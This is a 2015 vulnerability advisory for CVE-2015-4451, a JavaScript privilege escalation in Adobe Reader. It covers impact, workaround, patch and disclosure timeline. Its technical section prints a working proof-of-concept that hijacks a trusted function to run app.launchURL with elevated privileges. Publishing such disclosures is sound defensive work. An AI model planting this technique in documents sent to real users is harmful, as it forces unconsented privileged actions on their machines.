JavaScript Privilege Escalation in Adobe Reader

17/07/2015

Software:	Reader
Affected Versions:	11.0.11 and below
CVE Reference:	CVE-2015-4451
Author:	David Middlehurst, James Loureiro, Nils, MWR Labs (http://labs.mwrinfosecurity.com/)
Severity:	Medium
Vendor:	Adobe
Vendor Response:	Patch released

Description

Adobe Acrobat Reader is the most commonly used PDF viewer available for Windows and Mac.

The Adobe Reader JavaScript API has a privilege system in which a user must give permission before execution of privileged functions can occur.

It was found that it is possible to bypass the restrictions on the JavaScript API which allows execution of privileged JavaScript functions.

Impact

A user who opened a PDF in which this vulnerability was used could be forced to automatically perform an undesired action, such as forcing the user to connect to a web site without notifying the user of this action.

Cause

It was possible to change the context of the *doc.requestPermssion* within the trusted *ANSendApprovalToAuthorEnabled* function to perform privileged JavaScript functions.

Interim Workaround

If it is not possible to update to the latest version of Adobe Reader, it is recommended that users disable the use of JavaScript in Adobe Reader. Further details can be found from the Adobe website:

https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/javascript.html

Solution

It is recommended that users of Adobe Reader update to version 11.0.12

Technical Details

The vulnerability exists in *ANSendApprovalToAuthorEnabled* which is defined as follows:

```
      ANSendApprovalToAuthorEnabled = app.trustedFunction(function(doc) {
          app.beginPriv();
          var hasAddr = doc.Collab.initiatorEmail;
          app.endPriv();
          return event.rc = doc && hasAddr && doc.requestPermission(permission.annot,
permission.canExport) == permission.granted && doc.requestPermission(permission.annot,
permission.modify) == permission.granted;
      });
```

It is possible to leverage the *doc* parameter to change the context of *doc.requestPermission* within the *trustedFunction*.

In the first call we change *doc.requestPermission* to *app.beginPriv* and then subsequently change *doc.requestPermission* to a function we wish to execute in a privileged context. In this proof of concept we call *app.launchURL*.

```
d=app;
d.Collab = {};
d.Collab.initiatorEmail = {};
d.requestPermission = app.beginPriv;
permission.__defineGetter__("granted", function () { d.requestPermission = app.launchURL;
return undefined; });
permission.__defineGetter__("annot", function () { return "
https://labs.mwrinfosecurity.com/"; });
permission.__defineGetter__("modify", function () { return true; });
ANSendApprovalToAuthorEnabled(d);
```

Detailed Timeline

Date:	Summary:
15/05/2015	Issue reported to Adobe
03/07/2015	Adobe confirm issue has been fixed
14/07/2015	Patch released by Adobe
17/07/2015	Advisory released